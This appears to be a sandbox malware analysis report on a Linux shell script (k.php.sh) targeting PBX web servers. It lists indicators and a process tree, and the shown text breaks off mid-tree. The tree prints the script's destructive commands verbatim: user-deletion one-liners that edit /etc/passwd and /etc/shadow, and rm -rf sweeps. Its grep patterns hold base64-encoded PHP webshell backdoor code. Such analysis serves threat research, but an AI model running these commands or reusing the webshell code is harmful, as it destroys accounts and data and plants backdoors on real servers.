d57bc9a12a6d6f626afb5359fff94831a781f1070b3d1773d5843513f7f5b4ca

Analysis

max time kernel
31s
max time network
151s
platform
debian-9_mips
resource
debian9-mipsbe-20260513-en
resource tags

arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
20/08/2026, 08:27

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
k.php.sh
Size 48KB
Sample260820-kcpsvsgr6s
SHA256 d57bc9a12a6d6f626afb5359fff94831a781f1070b3d1773d5843513f7f5b4ca
MD5 aa97948287e50c0b525ba08c4d401df7
SHA1 b6618c09a76a77715a00fe1c8a824426920f1d24
SHA512 70e809ada44e0cd7df19340e193bec2b5a8f390a791add33d11079f4507241e5ee64838add01fd380d9ef74b90feb6b8066e26728e4198796a4f37112df651d1
SSDEEP 768:zXRWNGxVHCY9GKYpr9GKYp82fkR4nnA9GKYpr9GKYp82fkR4nnS:Nlx1ycr
TLSH
T1F8236D6526857C24AA98C4371D7E2F0CBDAD43E6320492EE7FCA3CF28C5A69DD10971D
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

credential_access defense_evasion discovery execution persistence privilege_escalation

Malware Config

Signatures

Modifies password files for system users/ groups 1 TTPs 20 IoCs

Modifies files storing password hashes of existing users/ groups, likely to grant additional privileges.

persistence credential_access defense_evasion

Pluggable Authentication Modules

T1556.003

description	ioc	Process
File opened for modification	/etc/group	useradd
File opened for modification	/etc/gshadow	useradd
File opened for modification	/etc/shadow	useradd
File opened for modification	/etc/gshadow	useradd
File opened for modification	/etc/group	useradd
File opened for modification	/etc/shadow	userdel
File opened for modification	/etc/group	userdel
File opened for modification	/etc/passwd	userdel
File opened for modification	/etc/passwd	useradd
File opened for modification	/etc/shadow	useradd
File opened for modification	/etc/shadow	useradd
File opened for modification	/etc/gshadow	userdel
File opened for modification	/etc/shadow	userdel
File opened for modification	/etc/passwd	useradd
File opened for modification	/etc/group	useradd
File opened for modification	/etc/gshadow	useradd
File opened for modification	/etc/passwd	useradd
File opened for modification	/etc/passwd	userdel
File opened for modification	/etc/group	userdel
File opened for modification	/etc/gshadow	userdel

OS Credential Dumping 1 TTPs 7 IoCs

Adversaries may attempt to dump credentials to use it in password cracking.

credential_access

/etc/passwd and /etc/shadow

T1003.008

description	ioc	Process
File opened for reading	/etc/shadow	useradd
File opened for reading	/etc/shadow	userdel
File opened for reading	/etc/shadow	sed
File opened for reading	/etc/shadow	userdel
File opened for reading	/etc/shadow	sed
File opened for reading	/etc/shadow	useradd
File opened for reading	/etc/shadow	useradd

Adds a user to the system 3 IoCs

pid	Process
1150	useradd
1159	useradd
1169	useradd

Creates/modifies Cron job 1 TTPs 5 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.sauHX7	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.YTzutk	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.jWJiQl	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.uyhMou	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.FalnJF	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Deobfuscate/Decode Files or Information 1 TTPs 3 IoCs

Adversaries may deobfuscate or decode files or information to evade detection mechanisms.

defense_evasion

Deobfuscate/Decode Files or Information

T1140

pid	Process
1148	base64
1156	base64
1166	base64

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/76/status	userdel
File opened for reading	/proc/69/status	userdel
File opened for reading	/proc/filesystems	userdel
File opened for reading	/proc/79/status	userdel
File opened for reading	/proc/self/fd	xargs
File opened for reading	/proc/self/fd	xargs
File opened for reading	/proc/380/task	userdel
File opened for reading	/proc/self/fd	xargs
File opened for reading	/proc/filesystems	find
File opened for reading	/proc/20/status	userdel
File opened for reading	/proc/filesystems	find
File opened for reading	/proc/22/status	userdel
File opened for reading	/proc/70/status	userdel
File opened for reading	/proc/8/status	userdel
File opened for reading	/proc/736/status	userdel
File opened for reading	/proc/714/task/status	userdel
File opened for reading	/proc/filesystems	find
File opened for reading	/proc/self/fd	xargs
File opened for reading	/proc/self/fd	xargs
File opened for reading	/proc/self/fd	xargs
File opened for reading	/proc/self/fd	xargs
File opened for reading	/proc/75/status	userdel
File opened for reading	/proc/15/status	userdel
File opened for reading	/proc/self/fd	xargs
File opened for reading	/proc/self/fd	xargs
File opened for reading	/proc/filesystems	useradd
File opened for reading	/proc/69/task	userdel
File opened for reading	/proc/75/task	userdel
File opened for reading	/proc/145/status	userdel
File opened for reading	/proc/170/task	userdel
File opened for reading	/proc/24/task	userdel
File opened for reading	/proc/filesystems	find
File opened for reading	/proc/filesystems	find
File opened for reading	/proc/2/status	userdel
File opened for reading	/proc/19/task	userdel
File opened for reading	/proc/118/status	userdel
File opened for reading	/proc/155/status	userdel
File opened for reading	/proc/self/fd	xargs
File opened for reading	/proc/self/fd	xargs
File opened for reading	/proc/118/status	userdel
File opened for reading	/proc/231/task	userdel
File opened for reading	/proc/10/task	userdel
File opened for reading	/proc/318/task	userdel
File opened for reading	/proc/441/task	userdel
File opened for reading	/proc/self/fd	xargs
File opened for reading	/proc/self/fd	xargs
File opened for reading	/proc/8/task	userdel
File opened for reading	/proc/12/status	userdel
File opened for reading	/proc/77/task	userdel
File opened for reading	/proc/742/task	userdel
File opened for reading	/proc/self/fd	xargs
File opened for reading	/proc/filesystems	find
File opened for reading	/proc/21/status	userdel
File opened for reading	/proc/81/status	userdel
File opened for reading	/proc/self/fd	xargs
File opened for reading	/proc/self/fd	xargs
File opened for reading	/proc/self/fd	xargs
File opened for reading	/proc/74/task	userdel
File opened for reading	/proc/347/task/status	userdel
File opened for reading	/proc/filesystems	find
File opened for reading	/proc/self/fd	xargs
File opened for reading	/proc/170/status	userdel
File opened for reading	/proc/5/status	userdel
File opened for reading	/proc/20/task	userdel

System Network Configuration Discovery 1 TTPs 22 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
988	grep
988	grep
1003	xargs
815	grep
828	grep
828	grep
828	grep
828	grep
988	grep
988	grep
826	xargs
828	grep
988	grep
988	grep
1006	grep
1006	grep
1006	grep
1006	grep
828	grep
986	xargs
1006	grep
1006	grep

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/.5a6np8hc	wget

/tmp/k.php.sh
/tmp/k.php.sh
1⤵
PID:707
- /bin/bash
  bash
  2⤵
  PID:712
- - /bin/mkdir
    mkdir -p /tmps /tmp /trmp /var/spool/asterisk/tmp
    3⤵
    PID:727
- - /bin/rm
    rm -rf /tmp/k.php.sh /tmp/systemd-private-7a1f4e5479a84f6c8fe61e8c16b1f1af-systemd-timedated.service-XDUk8z "/tmps/*" "/trmp/*" /var/tmp/systemd-private-7a1f4e5479a84f6c8fe61e8c16b1f1af-systemd-timedated.service-kN3ZBv "/var/tmps/*" "/var/trmp/*" "/var/lib/asterisk/bin/devnull*"
    3⤵
    PID:729
- - /bin/rm
    rm -rf /tmp/devnull24 /tmps/devnull24 /trmp/devnull24 /var/tmp/devnull24 /var/tmps/devnull24 /var/trmp/devnull24 /var/lib/asterisk/bin/devnull24
    3⤵
    PID:731
- - /bin/rm
    rm -rf /tmp/devnull23 /tmps/devnull23 /trmp/devnull23 /var/tmp/devnull23 /var/tmps/devnull23 /var/trmp/devnull23 /var/lib/asterisk/bin/devnull23
    3⤵
    PID:732
- - /bin/rm
    rm -rf /tmp/devnull2 /tmps/devnull2 /trmp/devnull2 /var/tmp/devnull2 /var/tmps/devnull2 /var/trmp/devnull2 /var/lib/asterisk/bin/devnull2
    3⤵
    PID:733
- - /bin/rm
    rm -rf /tmp/k /tmps/k /tmp/.font-unix /tmp/.ICE-unix /tmp/.Test-unix /tmp/.X11-unix /tmp/.XIM-unix "/tmps/.??*" "/trmp/.??*"
    3⤵
    PID:734
- - /usr/bin/awk
    awk -F: "(\$3 == 0 || \$3 >= 1000) && \$1 != \"root\" {system(\"userdel -rf \" \$1 \" 2>/dev/null; sed -i \\\"/^\" \$1 \":/d\\\" /etc/passwd /etc/shadow /etc/group /etc/gshadow; rm -rf /home/\" \$1 \" 2>/dev/null\")}" /etc/passwd
    3⤵
    PID:736
  - - /bin/sh
      sh -c "userdel -rf nobody 2>/dev/null; sed -i \"/^nobody:/d\" /etc/passwd /etc/shadow /etc/group /etc/gshadow; rm -rf /home/nobody 2>/dev/null"
      4⤵
      PID:738
    - - /usr/sbin/userdel
        
        userdel -rf nobody
        5⤵
        Modifies password files for system users/ groups
        OS Credential Dumping
        Reads runtime system information
        
        PID:739
      - /usr/sbin/nscd
        
        nscd -i passwd
        6⤵
        
        PID:744
      - /usr/sbin/nscd
        
        nscd -i group
        6⤵
        
        PID:745
      - /usr/sbin/nscd
        
        nscd -i passwd
        6⤵
        
        PID:746
      - /usr/sbin/nscd
        
        nscd -i group
        6⤵
        
        PID:747
    - - /bin/sed
        
        sed -i "/^nobody:/d" /etc/passwd /etc/shadow /etc/group /etc/gshadow
        5⤵
        OS Credential Dumping
        
        PID:748
    - - /bin/rm
        
        rm -rf /home/nobody
        5⤵
        
        PID:749
  - - /bin/sh
      sh -c "userdel -rf user 2>/dev/null; sed -i \"/^user:/d\" /etc/passwd /etc/shadow /etc/group /etc/gshadow; rm -rf /home/user 2>/dev/null"
      4⤵
      PID:750
    - - /usr/sbin/userdel
        
        userdel -rf user
        5⤵
        Modifies password files for system users/ groups
        OS Credential Dumping
        Reads runtime system information
        
        PID:752
      - /usr/sbin/nscd
        
        nscd -i passwd
        6⤵
        
        PID:753
      - /usr/sbin/nscd
        
        nscd -i group
        6⤵
        
        PID:754
      - /usr/sbin/nscd
        
        nscd -i passwd
        6⤵
        
        PID:755
      - /usr/sbin/nscd
        
        nscd -i group
        6⤵
        
        PID:756
    - - /bin/sed
        
        sed -i "/^user:/d" /etc/passwd /etc/shadow /etc/group /etc/gshadow
        5⤵
        OS Credential Dumping
        
        PID:757
    - - /bin/rm
        
        rm -rf /home/user
        5⤵
        
        PID:758
- - /usr/bin/sort
    sort -u
    3⤵
    PID:766
- - /bin/grep
    grep -r "--include=*.php" -l -E "(eval.*base64_decode|/\\*[A-Za-z0-9]+\\*/eval|system\\(\\\$_GET\\[)|eval\\(\\\$_POST|eval\\(\\\$_REQUEST|eval\\(\\\$_GET|system\\(\\\$c\\s" /var/www/html/
    3⤵
    PID:768
- - /bin/grep
    grep -rE "--include=*.php" PGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgPgo8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iY21kIiBzaXplPSc4MCcgLz4KICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImV4ZWN1dGUiIHZhbHVlPSJFeGVjdXRlIiAvPiA8aHIgLz4KPC9mb3JtPg /var/www/html/
    3⤵
    PID:769
- - /usr/bin/cut
    cut -d : -f1
    3⤵
    PID:770
- - /usr/bin/cut
    cut -d : -f1
    3⤵
    PID:772
- - /bin/grep
    grep -rE "--include=*.php" Unauth0r1zed /var/www/html/
    3⤵
    PID:771
- - /usr/bin/cut
    cut -d : -f1
    3⤵
    PID:774
- - /bin/grep
    grep -rE "--include=*.php" cGhwCmlmKG1kNSgkX1JFUVVFU1RbJ3AnXSk9PScxYzk1YmFkNWIwMzY1OGYzMzE4MzNkNmVhOWU3Nzg4NycpIAp7CkBzeXN0ZW0oJF9SRVFVRVNUWydjJ10pOyAKaW5jbHVkZV9vbmNlICIvdmFyL3d3dy9odG1sL2xpYnMvcGFsb1NhbnRvREIuY2xhc3MucGhwIjsgCmluY2x1ZGVfb25jZSAiL3Zhci93d3cvaHRtbC9saWJzL3BhbG9TYW50b0FDTC5jbGFzcy5waHAiOyAKJHBEQiA9IG5ldyBwYWxvREIoInNxbGl0ZTM6Ly8vL3Zhci93d3cvZGIvYWNsLmRiIik7IAokZGIgPSAkcERCLT5mZXRjaFRhYmxlKCJTRUxFQ1QgbmFtZSwgbWQ1X3Bhc3N3b3JkLGV4dGVuc2lvbiBmcm9tIGFjbF91c2VyIFdIRVJFIGlkID0nMSciKTsgCnNlc3Npb25fbmFtZSgiZWxhc3RpeFNlc3Npb24iKTsgCnNlc3Npb25fc3RhcnQoKTsgCiRfU0VTU0lPTlsnZWxhc3RpeF91c2VyJ10gPSAkZGJbMF1bMF07IAokX1NFU1NJT05bJ2VsYXN0aXhfcGFzcyddID0gJGRiWzBdWzFdOyAKZWNobyAnPGEgaHJlZj0iLyIgPkVtYWRfX1dhc19fSGVyZTwvYT4nOwp9Cj8 /var/www/html/
    3⤵
    PID:773
- - /usr/bin/cut
    cut -d : -f1
    3⤵
    PID:776
- - /bin/grep
    grep -rE "--include=*.php" atmin /var/www/html/
    3⤵
    PID:775
- - /usr/bin/cut
    cut -d : -f1
    3⤵
    PID:778
- - /bin/grep
    grep -rE "--include=*.php" New-Pbx /var/www/html/
    3⤵
    PID:777
- - /usr/bin/cut
    cut -d : -f1
    3⤵
    PID:780
- - /bin/grep
    grep -rE "--include=*.php" 1c95bad5b03658f331833d6ea9e77887 /var/www/html/
    3⤵
    PID:779
- - /usr/bin/cut
    cut -d : -f1
    3⤵
    PID:782
- - /bin/grep
    grep -rE "--include=*.php" C99Shell /var/www/html/
    3⤵
    PID:781
- - /usr/bin/cut
    cut -d : -f1
    3⤵
    PID:784
- - /bin/grep
    grep -rE "--include=*.php" Emad__Was__Here /var/www/html/
    3⤵
    PID:783
- - /usr/bin/cut
    cut -d : -f1
    3⤵
    PID:786
- - /bin/grep
    grep -rE "--include=*.php" VictamPbx /var/www/html/
    3⤵
    PID:785
- - /usr/bin/cut
    cut -d : -f1
    3⤵
    PID:788
- - /bin/grep
    grep -rE "--include=*.php" t3rr0r /var/www/html/
    3⤵
    PID:787
- - /usr/bin/cut
    cut -d : -f1
    3⤵
    PID:790
- - /bin/grep
    grep -rE "--include=*.php" Hacked /var/www/html/
    3⤵
    PID:789
- - /usr/bin/cut
    cut -d : -f1
    3⤵
    PID:792
- - /bin/grep
    grep -rE "--include=*.php" b374k /var/www/html/
    3⤵
    PID:791
- - /usr/bin/cut
    cut -d : -f1
    3⤵
    PID:794
- - /bin/grep
    grep -rE "--include=*.php" xman /var/www/html/
    3⤵
    PID:793
- - /usr/bin/cut
    cut -d : -f1
    3⤵
    PID:796
- - /bin/grep
    grep -rE "--include=*.php" emad /var/www/html/
    3⤵
    PID:795
- - /usr/bin/cut
    cut -d : -f1
    3⤵
    PID:798
- - /bin/grep
    grep -rE "--include=*.php" WOigy0g4sLN5lYSPWbgQATDruUCwwLvvjUD1XERpPEqOMnDKUHpQXthpojiQP2aQ2KHsVHUMven1lyU2HqjNz3X3zP4oK4YDbdpovLru7UFBfQXgYUqy7Qm3j0eRhHkPVUIOfqOXxBmdn1GL6Sl /var/www/html/
    3⤵
    PID:797
- - /usr/bin/cut
    cut -d : -f1
    3⤵
    PID:800
- - /bin/grep
    grep -rE "--include=*.php" 4ce19905aac5c1a58fc464e5bc1ce027 /var/www/html/
    3⤵
    PID:799
- - /usr/bin/cut
    cut -d : -f1
    3⤵
    PID:802
- - /bin/grep
    grep -rE "--include=*.php" a62e7e1e4dfd211e99796aebb24dd872 /var/www/html/
    3⤵
    PID:801
- - /usr/bin/cut
    cut -d : -f1
    3⤵
    PID:804
- - /bin/grep
    grep -rE "--include=*.php" 212.83.160.70 /var/www/html/
    3⤵
    PID:803
- - /usr/bin/cut
    cut -d : -f1
    3⤵
    PID:806
- - /bin/grep
    grep -rE "--include=*.php" c2Vzc2lvbl9zdGFydCgpOwppZiAoaXNzZXQoJF9SRVFVRVNUWydtZDUnXSkgJiYgbWQ1KCRfUkVRVUVTVFsnbWQ1J10pID09ICdkMzIxNjkwNzA4YWUwODg5MDgwYmM1ZjdiMjYyZDQ3MScpIHsKICAgICRfU0VTU0lPTlsnbG9va2knXSA9ICdsb2dnZWQnOwp9CmlmICghaXNzZXQoJF9TRVNTSU9OWydsb29raSddKSkgewogICAgZWNobyAnPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI /var/www/html/
    3⤵
    PID:805
- - /usr/bin/cut
    cut -d : -f1
    3⤵
    PID:808
- - /bin/grep
    grep -rE "--include=*.php" PXNnXkJjM2Brrml4KJcQB2cl /var/www/html/
    3⤵
    PID:807
- - /usr/bin/cut
    cut -d : -f1
    3⤵
    PID:810
- - /bin/grep
    grep -rE "--include=*.php" PGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgPjxpbnB1dCBzaXplPTIwIHR5cGU9cGFzc3dvcmQgbmFtZT0icCIgLz48aW5wdXQgc2l6ZT02MCB0eXBlPXRleHQgbmFtZT0iYyIgLz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IkhhY2tlZCIgLz48L2Zvcm0 /var/www/html/
    3⤵
    PID:809
- - /usr/bin/cut
    cut -d : -f1
    3⤵
    PID:812
- - /bin/grep
    grep -rE "--include=*.php" "Black Ban V1.01" /var/www/html/
    3⤵
    PID:811
- - /usr/bin/cut
    cut -d : -f1
    3⤵
    PID:814
- - /bin/grep
    grep -rE "--include=*.php" c2Vzc2lvbl9zdGFydCgpOwppZiAoaXNzZXQoJF9SRVFVRVNUWydtZDUnXSkgJiYgbWQ1KCRfUkVRVUVTVFsnbWQ1J10pID09ICdiNmJhMGZlNDgxOWI2NWUzOTZlNzEzNzg1YjI1ODI2ZScpIHsKICAgICRfU0VTU0lPTlsnbG9va2knXSA9ICdsb2dnZWQnOwp9CmlmICghaXNzZXQoJF9TRVNTSU9OWydsb29raSddKSkgewogICAgZWNobyAnPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI /var/www/html/
    3⤵
    PID:813
- - /usr/bin/cut
    cut -d : -f1
    3⤵
    PID:816
- - /bin/grep
    grep -rE "--include=*.php" CnNlc3Npb25fc3RhcnQoKTsKaWYgKGlzc2V0KCRfUkVRVUVTVFsnbWQ1J10pICYmIG1kNSgkX1JFUVVFU1RbJ21kNSddKSA9PT0gJzc1ODY4ZTA4ZGNhNzE4YTVlYmRhYzdmNGU3NjJhODRiJykgewogICAgJF9TRVNTSU9OWydNQUZJQSddID0gJ2xvZ2dlZCc7Cn0KaWYgKCFpc3NldCgkX1NFU1NJT05bJ01BRklBJ10pKSB7CiAgICBlY2hvICc8Zm9ybSBtZXRob2Q9InBvc3QiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJtZDUiIHNpemU9IjMyIi8 /var/www/html/
    3⤵
    - System Network Configuration Discovery
    PID:815
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:819
- - /usr/bin/xargs
    xargs -0 grep -Il "<?php system("
    3⤵
    PID:818
  - - /usr/local/sbin/grep
      grep -Il "<?php system("
      4⤵
      PID:820
  - - /usr/local/bin/grep
      grep -Il "<?php system("
      4⤵
      PID:820
  - - /usr/sbin/grep
      grep -Il "<?php system("
      4⤵
      PID:820
  - - /usr/bin/grep
      grep -Il "<?php system("
      4⤵
      PID:820
  - - /sbin/grep
      grep -Il "<?php system("
      4⤵
      PID:820
  - - /bin/grep
      grep -Il "<?php system("
      4⤵
      PID:820
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:817
- - /usr/bin/xargs
    xargs -0 grep -Il Emad__Was__Here
    3⤵
    PID:822
  - - /usr/local/sbin/grep
      grep -Il Emad__Was__Here
      4⤵
      PID:824
  - - /usr/local/bin/grep
      grep -Il Emad__Was__Here
      4⤵
      PID:824
  - - /usr/sbin/grep
      grep -Il Emad__Was__Here
      4⤵
      PID:824
  - - /usr/bin/grep
      grep -Il Emad__Was__Here
      4⤵
      PID:824
  - - /sbin/grep
      grep -Il Emad__Was__Here
      4⤵
      PID:824
  - - /bin/grep
      grep -Il Emad__Was__Here
      4⤵
      PID:824
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:821
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:823
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:825
- - /usr/bin/xargs
    xargs -0 grep -Il CnNlc3Npb25fc3RhcnQoKTsKaWYgKGlzc2V0KCRfUkVRVUVTVFsnbWQ1J10pICYmIG1kNSgkX1JFUVVFU1RbJ21kNSddKSA9PT0gJzc1ODY4ZTA4ZGNhNzE4YTVlYmRhYzdmNGU3NjJhODRiJykgewogICAgJF9TRVNTSU9OWydNQUZJQSddID0gJ2xvZ2dlZCc7Cn0KaWYgKCFpc3NldCgkX1NFU1NJT05bJ01BRklBJ10pKSB7CiAgICBlY2hvICc8Zm9ybSBtZXRob2Q9InBvc3QiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJtZDUiIHNpemU9IjMyIi8
    3⤵
    - System Network Configuration Discovery
    PID:826
  - - /usr/local/sbin/grep
      grep -Il CnNlc3Npb25fc3RhcnQoKTsKaWYgKGlzc2V0KCRfUkVRVUVTVFsnbWQ1J10pICYmIG1kNSgkX1JFUVVFU1RbJ21kNSddKSA9PT0gJzc1ODY4ZTA4ZGNhNzE4YTVlYmRhYzdmNGU3NjJhODRiJykgewogICAgJF9TRVNTSU9OWydNQUZJQSddID0gJ2xvZ2dlZCc7Cn0KaWYgKCFpc3NldCgkX1NFU1NJT05bJ01BRklBJ10pKSB7CiAgICBlY2hvICc8Zm9ybSBtZXRob2Q9InBvc3QiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJtZDUiIHNpemU9IjMyIi8
      4⤵
      System Network Configuration Discovery
      PID:828
  - - /usr/local/bin/grep
      grep -Il CnNlc3Npb25fc3RhcnQoKTsKaWYgKGlzc2V0KCRfUkVRVUVTVFsnbWQ1J10pICYmIG1kNSgkX1JFUVVFU1RbJ21kNSddKSA9PT0gJzc1ODY4ZTA4ZGNhNzE4YTVlYmRhYzdmNGU3NjJhODRiJykgewogICAgJF9TRVNTSU9OWydNQUZJQSddID0gJ2xvZ2dlZCc7Cn0KaWYgKCFpc3NldCgkX1NFU1NJT05bJ01BRklBJ10pKSB7CiAgICBlY2hvICc8Zm9ybSBtZXRob2Q9InBvc3QiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJtZDUiIHNpemU9IjMyIi8
      4⤵
      System Network Configuration Discovery
      PID:828
  - - /usr/sbin/grep
      grep -Il CnNlc3Npb25fc3RhcnQoKTsKaWYgKGlzc2V0KCRfUkVRVUVTVFsnbWQ1J10pICYmIG1kNSgkX1JFUVVFU1RbJ21kNSddKSA9PT0gJzc1ODY4ZTA4ZGNhNzE4YTVlYmRhYzdmNGU3NjJhODRiJykgewogICAgJF9TRVNTSU9OWydNQUZJQSddID0gJ2xvZ2dlZCc7Cn0KaWYgKCFpc3NldCgkX1NFU1NJT05bJ01BRklBJ10pKSB7CiAgICBlY2hvICc8Zm9ybSBtZXRob2Q9InBvc3QiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJtZDUiIHNpemU9IjMyIi8
      4⤵
      System Network Configuration Discovery
      PID:828
  - - /usr/bin/grep
      grep -Il CnNlc3Npb25fc3RhcnQoKTsKaWYgKGlzc2V0KCRfUkVRVUVTVFsnbWQ1J10pICYmIG1kNSgkX1JFUVVFU1RbJ21kNSddKSA9PT0gJzc1ODY4ZTA4ZGNhNzE4YTVlYmRhYzdmNGU3NjJhODRiJykgewogICAgJF9TRVNTSU9OWydNQUZJQSddID0gJ2xvZ2dlZCc7Cn0KaWYgKCFpc3NldCgkX1NFU1NJT05bJ01BRklBJ10pKSB7CiAgICBlY2hvICc8Zm9ybSBtZXRob2Q9InBvc3QiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJtZDUiIHNpemU9IjMyIi8
      4⤵
      System Network Configuration Discovery
      PID:828
  - - /sbin/grep
      grep -Il CnNlc3Npb25fc3RhcnQoKTsKaWYgKGlzc2V0KCRfUkVRVUVTVFsnbWQ1J10pICYmIG1kNSgkX1JFUVVFU1RbJ21kNSddKSA9PT0gJzc1ODY4ZTA4ZGNhNzE4YTVlYmRhYzdmNGU3NjJhODRiJykgewogICAgJF9TRVNTSU9OWydNQUZJQSddID0gJ2xvZ2dlZCc7Cn0KaWYgKCFpc3NldCgkX1NFU1NJT05bJ01BRklBJ10pKSB7CiAgICBlY2hvICc8Zm9ybSBtZXRob2Q9InBvc3QiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJtZDUiIHNpemU9IjMyIi8
      4⤵
      System Network Configuration Discovery
      PID:828
  - - /bin/grep
      grep -Il CnNlc3Npb25fc3RhcnQoKTsKaWYgKGlzc2V0KCRfUkVRVUVTVFsnbWQ1J10pICYmIG1kNSgkX1JFUVVFU1RbJ21kNSddKSA9PT0gJzc1ODY4ZTA4ZGNhNzE4YTVlYmRhYzdmNGU3NjJhODRiJykgewogICAgJF9TRVNTSU9OWydNQUZJQSddID0gJ2xvZ2dlZCc7Cn0KaWYgKCFpc3NldCgkX1NFU1NJT05bJ01BRklBJ10pKSB7CiAgICBlY2hvICc8Zm9ybSBtZXRob2Q9InBvc3QiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJtZDUiIHNpemU9IjMyIi8
      4⤵
      System Network Configuration Discovery
      PID:828
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:827
- - /usr/bin/xargs
    xargs -0 grep -Il a62e7e1e4dfd211e99796aebb24dd872
    3⤵
    PID:830
  - - /usr/local/sbin/grep
      grep -Il a62e7e1e4dfd211e99796aebb24dd872
      4⤵
      PID:832
  - - /usr/local/bin/grep
      grep -Il a62e7e1e4dfd211e99796aebb24dd872
      4⤵
      PID:832
  - - /usr/sbin/grep
      grep -Il a62e7e1e4dfd211e99796aebb24dd872
      4⤵
      PID:832
  - - /usr/bin/grep
      grep -Il a62e7e1e4dfd211e99796aebb24dd872
      4⤵
      PID:832
  - - /sbin/grep
      grep -Il a62e7e1e4dfd211e99796aebb24dd872
      4⤵
      PID:832
  - - /bin/grep
      grep -Il a62e7e1e4dfd211e99796aebb24dd872
      4⤵
      PID:832
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:829
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:831
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:833
- - /usr/bin/xargs
    xargs -0 grep -Il cGhwCmlmKG1kNSgkX1JFUVVFU1RbJ3AnXSk9PScxYzk1YmFkNWIwMzY1OGYzMzE4MzNkNmVhOWU3Nzg4NycpIAp7CkBzeXN0ZW0oJF9SRVFVRVNUWydjJ10pOyAKaW5jbHVkZV9vbmNlICIvdmFyL3d3dy9odG1sL2xpYnMvcGFsb1NhbnRvREIuY2xhc3MucGhwIjsgCmluY2x1ZGVfb25jZSAiL3Zhci93d3cvaHRtbC9saWJzL3BhbG9TYW50b0FDTC5jbGFzcy5waHAiOyAKJHBEQiA9IG5ldyBwYWxvREIoInNxbGl0ZTM6Ly8vL3Zhci93d3cvZGIvYWNsLmRiIik7IAokZGIgPSAkcERCLT5mZXRjaFRhYmxlKCJTRUxFQ1QgbmFtZSwgbWQ1X3Bhc3N3b3JkLGV4dGVuc2lvbiBmcm9tIGFjbF91c2VyIFdIRVJFIGlkID0nMSciKTsgCnNlc3Npb25fbmFtZSgiZWxhc3RpeFNlc3Npb24iKTsgCnNlc3Npb25fc3RhcnQoKTsgCiRfU0VTU0lPTlsnZWxhc3RpeF91c2VyJ10gPSAkZGJbMF1bMF07IAokX1NFU1NJT05bJ2VsYXN0aXhfcGFzcyddID0gJGRiWzBdWzFdOyAKZWNobyAnPGEgaHJlZj0iLyIgPkVtYWRfX1dhc19fSGVyZTwvYT4nOwp9Cj8
    3⤵
    - Reads runtime system information
    PID:834
  - - /usr/local/sbin/grep
      grep -Il cGhwCmlmKG1kNSgkX1JFUVVFU1RbJ3AnXSk9PScxYzk1YmFkNWIwMzY1OGYzMzE4MzNkNmVhOWU3Nzg4NycpIAp7CkBzeXN0ZW0oJF9SRVFVRVNUWydjJ10pOyAKaW5jbHVkZV9vbmNlICIvdmFyL3d3dy9odG1sL2xpYnMvcGFsb1NhbnRvREIuY2xhc3MucGhwIjsgCmluY2x1ZGVfb25jZSAiL3Zhci93d3cvaHRtbC9saWJzL3BhbG9TYW50b0FDTC5jbGFzcy5waHAiOyAKJHBEQiA9IG5ldyBwYWxvREIoInNxbGl0ZTM6Ly8vL3Zhci93d3cvZGIvYWNsLmRiIik7IAokZGIgPSAkcERCLT5mZXRjaFRhYmxlKCJTRUxFQ1QgbmFtZSwgbWQ1X3Bhc3N3b3JkLGV4dGVuc2lvbiBmcm9tIGFjbF91c2VyIFdIRVJFIGlkID0nMSciKTsgCnNlc3Npb25fbmFtZSgiZWxhc3RpeFNlc3Npb24iKTsgCnNlc3Npb25fc3RhcnQoKTsgCiRfU0VTU0lPTlsnZWxhc3RpeF91c2VyJ10gPSAkZGJbMF1bMF07IAokX1NFU1NJT05bJ2VsYXN0aXhfcGFzcyddID0gJGRiWzBdWzFdOyAKZWNobyAnPGEgaHJlZj0iLyIgPkVtYWRfX1dhc19fSGVyZTwvYT4nOwp9Cj8
      4⤵
      PID:836
  - - /usr/local/bin/grep
